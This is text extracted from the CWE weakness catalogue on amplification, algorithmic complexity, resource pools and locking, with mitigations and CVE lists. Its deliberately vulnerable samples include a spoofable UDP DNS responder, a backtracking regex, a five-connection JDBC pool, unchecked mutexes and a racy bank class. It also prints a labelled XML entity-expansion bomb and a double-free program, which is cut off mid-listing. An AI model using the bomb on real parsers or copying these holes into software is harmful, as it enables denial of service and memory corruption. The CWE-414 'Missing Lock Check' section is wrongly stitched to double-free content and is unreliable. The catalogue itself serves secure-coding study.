Operating_System : Not OS-Specific *(Prevalence = Undetermined)*

Architecture : Not Architecture-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Technology : Client Server *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) *Sometimes this is a factor in "flood" attacks, but other types of amplification exist.*	High

Potential Mitigations

Phase: Architecture and Design

An application must make resources available to a client commensurate with the client's access level.

Phase: Architecture and Design

An application must, at all times, keep track of allocated resources and meter their usage appropriately.

Phase: System Configuration

Consider disabling resource-intensive algorithms on the server side, such as Diffie-Hellman key exchange.

Effectiveness = High

Business requirements may prevent disabling resource-intensive algorithms.

Demonstrative Examples

Example 1:

This code listens on a port for DNS requests and sends the result to the requesting address.

Example Language: Python *(Bad)*

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
  data = sock.recvfrom(1024)
  if not data:
```

```
    break
  (requestIP, nameToResolve) = parseUDPpacket(data)
  record = resolveName(nameToResolve)
  sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

Example 2:

This function prints the contents of a specified file requested by a user.

Example Language: PHP *(Bad)*

```
function printFile($username,$filename){
  //read file into string
  $file = file_get_contents($filename);
  if ($file && isOwnerOf($username,$filename)){
    echo $file;
    return true;
  }
  else{
    echo 'You are not authorized to view this file';
  }
  return false;
}
```

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

Example 3:

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1. Ultimately, we reach entity THIRTYTWO, which will expand to 2^32 characters in length, or 4 GB, probably consuming far more data than expected.

Example Language: XML *(Attack)*

```
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

Example 4:

This example attempts to check if an input string is a "sentence" [REF-1164].

Example Language: JavaScript *(Bad)*

```
var test_string = "Bad characters: $@#";
var bad_pattern = /^(\w+\s?)*$/i;
var result = test_string.search(bad_pattern);
```

The regular expression has a vulnerable backtracking clause inside (\w+\s?)*$ which can be triggered to cause a Denial of Service by processing particular phrases.

To fix the backtracking problem, backtracking is removed with the ?= portion of the expression which changes it to a lookahead and the \2 which prevents the backtracking. The modified example is:

Example Language: JavaScript *(Good)*

```
var test_string = "Bad characters: $@#";
var good_pattern = /^((?=(\w+))\2\s?)*$/i;
var result = test_string.search(good_pattern);
```

Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx.

Example 5:

An adversary can cause significant resource consumption on a server by filtering the cryptographic algorithms offered by the client to the ones that are the most resource-intensive on the server side. After discovering which cryptographic algorithms are supported by the server, a malicious client can send the initial cryptographic handshake messages that contains only the resource-intensive algorithms. For some cryptographic protocols, these messages can be completely prefabricated, as the resource-intensive part of the handshake happens on the server-side first (such as TLS), rather than on the client side. In the case of cryptographic protocols where the resource-intensive part should happen on the client-side first (such as SSH), a malicious client can send a forged/precalculated computation result, which seems correct to the server, so the resource-intensive part of the handshake is going to happen on the server side. A malicious client is required to send only the initial messages of a cryptographic handshake to initiate the resource-consuming part of the cryptographic handshake. These messages are usually small, and generating them requires minimal computational effort, enabling a denial-of-service attack. An additional risk is the fact that higher key size increases the effectiveness of the attack. Cryptographic protocols where the clients have influence over the size of the used key (such as TLS 1.3 or SSH) are most at risk, as the client can enforce the highest key size supported by the server.

Observed Examples

Reference	Description
CVE-1999-0513	Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses. *https://www.cve.org/CVERecord?id=CVE-1999-0513*

CWE-406: Insufficient Control of Network Message Volume (Network Amplification)

Weakness ID : 406
Structure : Simple
Abstraction : Class

Description

The product does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the product to transmit more traffic than should be allowed for that actor.

Extended Description

In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	405	Asymmetric Resource Consumption (Amplification)	994
CanFollow	B	941	Incorrectly Specified Destination in a Communication Channel	1859

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) *System resources can be quickly consumed leading to poor application performance or system crash. This may affect network performance and could be used to attack other systems and applications relying on network performance.*	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

An application must make network resources available to a client commensurate with the client's access level.

Phase: Policy

Define a clear policy for network resource allocation and consumption.

Phase: Implementation

An application must, at all times, keep track of network resources and meter their usage appropriately.

Demonstrative Examples

Example 1:

This code listens on a port for DNS requests and sends the result to the requesting address.

Example Language: Python *(Bad)*

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
  data = sock.recvfrom(1024)
  if not data:
    break
  (requestIP, nameToResolve) = parseUDPpacket(data)
  record = resolveName(nameToResolve)
  sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

Observed Examples

Reference	Description
CVE-1999-0513	Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses. *https://www.cve.org/CVERecord?id=CVE-1999-0513*
CVE-1999-1379	DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker. *https://www.cve.org/CVERecord?id=CVE-1999-1379*
CVE-2000-0041	Large datagrams are sent in response to malformed datagrams. *https://www.cve.org/CVERecord?id=CVE-2000-0041*
CVE-1999-1066	Game server sends a large amount. *https://www.cve.org/CVERecord?id=CVE-1999-1066*
CVE-2013-5211	composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses. *https://www.cve.org/CVERecord?id=CVE-2013-5211*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2604
MemberOf	C	977	SFP Secondary Cluster: Design	888	2444
MemberOf	C	1382	ICS Operations (& Maintenance): Emerging Energy Technologies	1358	2554
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2582

Notes

Relationship

This can be resultant from weaknesses that simplify spoofing attacks.

Theoretical

Network amplification, when performed with spoofing, is normally a multi-channel attack from attacker (acting as user) to amplifier, and amplifier to victim.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Network Amplification

CWE-407: Inefficient Algorithmic Complexity

Weakness ID : 407
Structure : Simple
Abstraction : Class

Description

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	405	Asymmetric Resource Consumption (Amplification)	994
ParentOf	B	1333	Inefficient Regular Expression Complexity	2248

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	1333	Inefficient Regular Expression Complexity	2248

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Quadratic Complexity : Used when the algorithmic complexity is related to the square of the number of inputs (N^2)

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) *The typical consequence is CPU consumption, but memory consumption and consumption of other resources can also occur.*	

Demonstrative Examples

Example 1:

This example attempts to check if an input string is a "sentence" [REF-1164].

Example Language: JavaScript *(Bad)*

```
var test_string = "Bad characters: $@#";
var bad_pattern = /^(\w+\s?)*$/i;
var result = test_string.search(bad_pattern);
```

The regular expression has a vulnerable backtracking clause inside (\w+\s?)*$ which can be triggered to cause a Denial of Service by processing particular phrases.

To fix the backtracking problem, backtracking is removed with the ?= portion of the expression which changes it to a lookahead and the \2 which prevents the backtracking. The modified example is:

Example Language: JavaScript *(Good)*

```
var test_string = "Bad characters: $@#";
var good_pattern = /^((?=(\w+))\2\s?)*$/i;
var result = test_string.search(good_pattern);
```

Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx.

Observed Examples

Reference	Description
CVE-2021-32617	C++ library for image metadata has "quadratic complexity" issue with unnecessarily repetitive parsing each time an invalid character is encountered *https://www.cve.org/CVERecord?id=CVE-2021-32617*
CVE-2020-10735	Python has "quadratic complexity" issue when converting string to int with many digits in unexpected bases *https://www.cve.org/CVERecord?id=CVE-2020-10735*
CVE-2020-5243	server allows ReDOS with crafted User-Agent strings, due to overlapping capture groups that cause excessive backtracking. *https://www.cve.org/CVERecord?id=CVE-2020-5243*
CVE-2014-1474	Perl-based email address parser has "quadratic complexity" issue via a string that does not contain a valid address *https://www.cve.org/CVERecord?id=CVE-2014-1474*
CVE-2003-0244	CPU consumption via inputs that cause many hash table collisions. *https://www.cve.org/CVERecord?id=CVE-2003-0244*
CVE-2003-0364	CPU consumption via inputs that cause many hash table collisions. *https://www.cve.org/CVERecord?id=CVE-2003-0364*
CVE-2002-1203	Product performs unnecessary processing before dropping an invalid packet. *https://www.cve.org/CVERecord?id=CVE-2002-1203*
CVE-2001-1501	CPU and memory consumption using many wildcards. *https://www.cve.org/CVERecord?id=CVE-2001-1501*
CVE-2004-2527	Product allows attackers to cause multiple copies of a program to be loaded more quickly than the program can detect that other copies are running, then exit. This type of error should probably have its own category, where teardown takes more time than initialization. *https://www.cve.org/CVERecord?id=CVE-2004-2527*
CVE-2006-6931	Network monitoring system allows remote attackers to cause a denial of service (CPU consumption and detection outage) via crafted network traffic, aka a "backtracking attack." *https://www.cve.org/CVERecord?id=CVE-2006-6931*
CVE-2006-3380	Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity. *https://www.cve.org/CVERecord?id=CVE-2006-3380*
CVE-2006-3379	Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity. *https://www.cve.org/CVERecord?id=CVE-2006-3379*

Reference	Description
CVE-2005-2506	OS allows attackers to cause a denial of service (CPU consumption) via crafted Gregorian dates. *https://www.cve.org/CVERecord?id=CVE-2005-2506*
CVE-2005-1792	Memory leak by performing actions faster than the software can clear them. *https://www.cve.org/CVERecord?id=CVE-2005-1792*

Functional Areas

- Cryptography

CWE-408: Incorrect Behavior Order: Early Amplification

Weakness ID : 408
Structure : Simple
Abstraction : Base

Description

The product allows an entity to perform a legitimate but expensive operation before authentication or authorization has taken place.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	405	Asymmetric Resource Consumption (Amplification)	994
ChildOf	G	696	Incorrect Behavior Order	1539

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	2364

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.*	

Demonstrative Examples

Example 1:

This function prints the contents of a specified file requested by a user.

Example Language: PHP *(Bad)*

```
function printFile($username,$filename){
  //read file into string
  $file = file_get_contents($filename);
  if ($file && isOwnerOf($username,$filename)){
    echo $file;
    return true;
  }
  else{
    echo 'You are not authorized to view this file';
  }
  return false;
}
```

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

Observed Examples

Reference	Description
CVE-2004-2458	Tool creates directories before authenticating user. *https://www.cve.org/CVERecord?id=CVE-2004-2458*

MemberOf Relationships

Notes

Relationship

Overlaps authentication errors.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Early Amplification

CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)

Weakness ID : 409
Structure : Simple
Abstraction : Base

Description

The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

Extended Description

An example of data amplification is a "decompression bomb," a small ZIP file that can produce a large amount of data when it is decompressed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	994

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	2346

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.*	

Demonstrative Examples

Example 1:

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1. Ultimately,

we reach entity THIRTYTWO, which will expand to 2^32 characters in length, or 4 GB, probably consuming far more data than expected.

Example Language: XML *(Attack)*

```
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

Observed Examples

CWE-410: Insufficient Resource Pool

Weakness ID : 410
Structure : Simple
Abstraction : Class

Description

The product's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources.

Extended Description

Frequently the consequence is a "flood" of connection or sessions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1466
CanPrecede		400	Uncontrolled Resource Consumption	972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2361

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Other	DoS: Crash, Exit, or Restart Other *Floods often cause a crash or other problem besides denial of the resource itself; these are likely examples of *other* vulnerabilities, not an insufficient resource pool.*	

Potential Mitigations

Phase: Architecture and Design

Do not perform resource-intensive transactions for unauthenticated users and/or invalid requests.

Phase: Architecture and Design

Consider implementing a velocity check mechanism which would detect abusive behavior.

Phase: Operation

Consider load balancing as an option to handle heavy loads.

Phase: Implementation

Make sure that resource handles are properly closed when no longer needed.

Phase: Architecture and Design

Identify the system's resource intensive operations and consider protecting them from abuse (e.g. malicious automated script which runs the resources out).

Demonstrative Examples

Example 1:

In the following snippet from a Tomcat configuration file, a JDBC connection pool is defined with a maximum of 5 simultaneous connections (with a 60 second timeout). In this case, it may be trivial for an attacker to instigate a denial of service (DoS) by using up all of the available connections in the pool.

Example Language: XML *(Bad)*

```
<Resource name="jdbc/exampledb"
auth="Container"
type="javax.sql.DataSource"
removeAbandoned="true"
removeAbandonedTimeout="30"
maxActive="5"
maxIdle="5"
maxWait="60000"
username="testuser"
password="testpass"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost/exampledb"/>
```

Observed Examples

Reference	Description
CVE-1999-1363	Large number of locks on file exhausts the pool and causes crash. *https://www.cve.org/CVERecord?id=CVE-1999-1363*
CVE-2001-1340	Product supports only one connection and does not disconnect a user who does not provide credentials. *https://www.cve.org/CVERecord?id=CVE-2001-1340*
CVE-2002-0406	Large number of connections without providing credentials allows connection exhaustion. *https://www.cve.org/CVERecord?id=CVE-2002-0406*

CWE-412: Unrestricted Externally Accessible Lock

Weakness ID : 412

Structure : Simple
Abstraction : Base

Description

The product properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control.

Extended Description

This prevents the product from acting on associated resources or performing other behaviors that are controlled by the presence of the lock. Relevant locks might include an exclusive lock or mutex, or modifying a shared resource that is treated as a lock. If the lock can be held for an indefinite period of time, then the denial of service could be permanent.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1475
CanAlsoBe		410	Insufficient Resource Pool	1006

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	2362

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *When an attacker can control a lock, the program may wait indefinitely until the attacker releases the lock, causing a denial of service to other users of the program. This is especially problematic if there is a blocking operation on the lock.*	

Detection Methods

White Box

Automated code analysis techniques might not be able to reliably detect this weakness, since the application's behavior and general security model dictate which resource locks are critical. Interpretation of the weakness might require knowledge of the environment, e.g. if the existence of a file is used as a lock, but the file is created in a world-writable directory.

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Use any access control that is offered by the functionality that is offering the lock.

Phase: Architecture and Design

Phase: Implementation

Use unpredictable names or identifiers for the locks. This might not always be possible or feasible.

Phase: Architecture and Design

Consider modifying your code to use non-blocking synchronization methods.

Demonstrative Examples

Example 1:

This code tries to obtain a lock for a file, then writes to it.

Example Language: PHP *(Bad)*

```
function writeToLog($message){
   $logfile = fopen("logFile.log", "a");
   //attempt to get logfile lock
   if (flock($logfile, LOCK_EX)) {
      fwrite($logfile,$message);
      // unlock logfile
      flock($logfile, LOCK_UN);
   }
   else {
      print "Could not obtain lock on logFile.log, message not recorded\n";
   }
}
fclose($logFile);
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

Observed Examples

Reference	Description
CVE-2001-0682	Program can not execute when attacker obtains a mutex. *https://www.cve.org/CVERecord?id=CVE-2001-0682*
CVE-2002-1914	Program can not execute when attacker obtains a lock on a critical output file. *https://www.cve.org/CVERecord?id=CVE-2002-1914*
CVE-2002-1915	Program can not execute when attacker obtains a lock on a critical output file. *https://www.cve.org/CVERecord?id=CVE-2002-1915*
CVE-2002-0051	Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition. *https://www.cve.org/CVERecord?id=CVE-2002-0051*
CVE-2000-0338	Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness. *https://www.cve.org/CVERecord?id=CVE-2000-0338*
CVE-2000-1198	Chain: Lock files with predictable names. Resultant from randomness. *https://www.cve.org/CVERecord?id=CVE-2000-1198*
CVE-2002-1869	Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close. *https://www.cve.org/CVERecord?id=CVE-2002-1869*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock

CWE-413: Improper Resource Locking

Weakness ID : 413
Structure : Simple
Abstraction : Base

Description

The product does not lock or does not correctly lock a resource when the product must have exclusive access to the resource.

Extended Description

When a resource is not properly locked, an attacker could modify the resource while it is being operated on by the product. This might violate the product's assumption that the resource will not change, potentially leading to unexpected behaviors.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

ParentOf	V	591	Sensitive Data Storage in Improperly Locked Memory	1340

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	2362

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Availability	DoS: Instability DoS: Crash, Exit, or Restart	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use a non-conflicting privilege scheme.

Phase: Architecture and Design

Phase: Implementation

Use synchronization when locking a resource.

Demonstrative Examples

Example 1:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C *(Bad)*

```
void f(pthread_mutex_t *mutex) {
  pthread_mutex_lock(mutex);
  /* access shared resource */
  pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language: C *(Good)*

```
int f(pthread_mutex_t *mutex) {
   int result;
   result = pthread_mutex_lock(mutex);
   if (0 != result)
      return result;
   /* access shared resource */
   return pthread_mutex_unlock(mutex);
}
```

Example 2:

This Java example shows a simple BankAccount class with deposit and withdraw methods.

Example Language: Java *(Bad)*

```
public class BankAccount {
   // variable for bank account balance
   private double accountBalance;
   // constructor for BankAccount
   public BankAccount() {
      accountBalance = 0;
   }
   // method to deposit amount into BankAccount
   public void deposit(double depositAmount) {
      double newBalance = accountBalance + depositAmount;
      accountBalance = newBalance;
   }
   // method to withdraw amount from BankAccount
   public void withdraw(double withdrawAmount) {
      double newBalance = accountBalance - withdrawAmount;
      accountBalance = newBalance;
   }
   // other methods for accessing the BankAccount object
   ...
}
```

However, the deposit and withdraw methods have shared access to the account balance private class variable. This can result in a race condition if multiple threads attempt to call the deposit and withdraw methods simultaneously where the account balance is modified by one thread before another thread has completed modifying the account balance. For example, if a thread attempts to withdraw funds using the withdraw method before another thread that is depositing funds using the deposit method completes the deposit then there may not be sufficient funds for the withdraw transaction.

To prevent multiple threads from having simultaneous access to the account balance variable the deposit and withdraw methods should be synchronized using the synchronized modifier.

Example Language: Java *(Good)*

```
public class BankAccount {
   ...
   // synchronized method to deposit amount into BankAccount
   public synchronized void deposit(double depositAmount) {
      ...
   }
   // synchronized method to withdraw amount from BankAccount
   public synchronized void withdraw(double withdrawAmount) {
      ...
   }
   ...
}
```

An alternative solution is to use a lock object to ensure exclusive access to the bank account balance variable. As shown below, the deposit and withdraw methods use the lock object to set a lock to block access to the BankAccount object from other threads until the method has completed updating the bank account balance variable.

Example Language: Java *(Good)*

```
public class BankAccount {
  ...
  // lock object for thread access to methods
  private ReentrantLock balanceChangeLock;
  // condition object to temporarily release lock to other threads
  private Condition sufficientFundsCondition;
  // method to deposit amount into BankAccount
  public void deposit(double amount) {
    // set lock to block access to BankAccount from other threads
    balanceChangeLock.lock();
    try {
      double newBalance = balance + amount;
      balance = newBalance;
      // inform other threads that funds are available
      sufficientFundsCondition.signalAll();
    } catch (Exception e) {...}
    finally {
      // unlock lock object
      balanceChangeLock.unlock();
    }
  }
  // method to withdraw amount from bank account
  public void withdraw(double amount) {
    // set lock to block access to BankAccount from other threads
    balanceChangeLock.lock();
    try {
      while (balance < amount) {
        // temporarily unblock access
        // until sufficient funds are available
        sufficientFundsCondition.await();
      }
      double newBalance = balance - amount;
      balance = newBalance;
    } catch (Exception e) {...}
    finally {
      // unlock lock object
      balanceChangeLock.unlock();
    }
  }
  ...
}
```

Observed Examples

CWE-414: Missing Lock Check

Weakness ID : 414
Structure : Simple
Abstraction : Base

Description

A product does not check to see if a lock is present before performing sensitive operations on a resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Alternate Terms

Double-free :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Modify Memory Execute Unauthorized Code or Commands *When a program calls free() twice with the same argument, the program's memory management data structures may become corrupted, potentially leading to the reading or modification of unexpected memory addresses. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack. Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.*	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.

Phase: Implementation

Use a static analysis tool to find double free instances.

Demonstrative Examples

Example 1:

The following code shows a simple example of a double free vulnerability.

Example Language: C *(Bad)*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
  free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 2:

While contrived, this code should be exploitable on Linux distributions that do not ship with heap-chunk check summing turned on.

Example Language: C *(Bad)*

```
#include <stdio.h>
#include <unistd.h>
#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)
int main(int argc, char **argv) {
  char *buf1R1;
  char *buf2R1;
  char *buf1R2;
  buf1R1 = (char *) malloc(BUFSIZE2);
  buf2R1 = (char *) malloc(BUFSIZE2);
  free(buf1R1);
  free(buf2R1);
  buf1R2 = (char *) malloc(BUFSIZE1);
  strncpy(buf1R2, argv[1], BUFSIZE1-1);
